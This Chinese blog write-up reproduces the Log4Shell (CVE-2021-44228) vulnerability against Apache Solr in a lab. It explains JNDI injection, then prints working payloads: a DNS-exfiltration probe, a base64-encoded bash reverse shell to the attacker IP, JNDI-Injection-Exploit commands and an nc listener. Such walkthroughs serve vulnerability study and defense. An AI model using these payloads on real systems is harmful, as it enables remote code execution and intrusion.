CVE-2021-44228 漏洞复现

发布于:2024-12-22 ⋅ 阅读:(18) ⋅ 点赞:(0)

漏洞描述

什么是 log4j 和 log4j2

log4j 是 Apache 的一个开源日志库,是一个基于 Java 的日志记录框架,Log4j2 是 log4j 的后继者,其中引入了大量丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI 组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。

log4j2 中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞,成功利用该漏洞可在目标服务器上执行任意代码。

什么是 JNDI

JNDI 是 Java Naming and Directory Interface 的缩写,是 Java 中用于访问各种命名和目录服务的API(应用程序编程接口) 。

JNDI 提供了一种标准的方式来访问各种命名和目录服务,从指定的远程服务器获取并加载对象,其中常用的协议包括 RMI(远程方法调用)和 LDAP(轻量目录访问协议)。

漏洞原理

log4j2 在日志输出中,未对字符合法性进行严格的限制,执行了 JNDI 协议加载的远程恶意脚本,从而造成RCE。

详细过程

当用户输入信息时,应用程序中的 log4j2 组件会将信息记录到日志中,假设日志中含有语句${jndi:ldap:192.168.249.1:9001/poc.class},log4j2 就会去解析该信息。

通过 JNDI 的 lookup() 方法去解析 URL:ldap:192.168.249.1:9001/poc.class,解析到 ldap,就会去 192.168.61.129:9001 的 ldap 服务找名为 poc.class 的资源,如果找不到则会去 http 服务中找。

只要在 ldap 或者 http 中找到了 poc.class ,就会将资源信息返回到 JNDI 接口,进而返回给应用程序的 log4j2 组件。

而 log4j2 组件会将其下载下来,然后发现 poc.class 是一个 .class 文件,就会去执行里面的代码,从而实现注入,我们就可以通过 poc.class 实现任意命令的执行。

影响版本

2.0 ≤ Apache Log4j2 < 2.15.0-rc2

漏洞复现

首先明确攻击机和靶机,由于都是在虚拟机上,彼此之间可以通信,可以反弹 shell

攻击机(kali):192.168.52.151
靶机(centos):192.168.52.253

搭建完成后访问 8983 端口可以看到访问成功

注入点是在 /solr/admin/cores?,这里有个参数 action 可以传

使用 dnslog 平台获取一个子域名看看回显,得到的子域名是 45udt8.dnslog.cn,利用如下 payload 测试 java 版本能否回显

/solr/admin/cores?action=${jndi:ldap://${sys:java.version}.45udt8.dnslog.cn}

查看 dnslog 平台,刷新记录就能看到爆出了 java 版本,说明存在 log4j 漏洞

利用 JNDI 工具注入反弹 shell 命令

反弹 shell 命令如下,一般都需要 base 编码一下

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUyLjE1MS8yMjMzIDA+JjE=}|{base64,-d}|{bash,-i}

在攻击机上搭建好环境,编译工具需要 java1.8 版本和 maven 工具

java 版本更换,默认 java 版本不是 1.8,按照教程更换

https://blog.csdn.net/weixin_44862511/article/details/132415494

maven 编译安装,按照教程安装

https://myon6.blog.csdn.net/article/details/136558685?spm=1001.2014.3001.5502

注入工具下载,地址如下:

https://github.com/welk1n/JNDI-Injection-Exploit

编译安装工具

cd JNDI-Injection-Exploit
mvn clean package -DskipTests
cd target

一切准备就绪,接下来就可以开始注入攻击了

利用注入命令如下

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "想要执行的命令" -A "攻击机的ip"

填入反弹 shell 命令和攻击机的 ip

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUyLjE1MS8yMjMzIDA+JjE=}|{base64,-d}|{bash,-i}" -A "192.168.52.151"

出现如下界面这个表示已经成功开启监听

选择对应 java 版本的 payload 路径,这里是 jdl1.8, 拼接构造完整 payload

http://192.168.52.253:8983/solr/admin/cores?action=${jndi:rmi://192.168.52.151:1099/cabkj7}

先新开一个 kali 窗口执行监听命令

nc -lvvp 2233

再传入构造好的命令执行反弹 shell

JNDI 注入工具的终端显示如下:

查看监听端口,成功反弹 shell

注意:需要将 payload 编码后用 burp 发包,不然可能会有一些问题


网站公告

今日签到

点亮在社区的每一天
去签到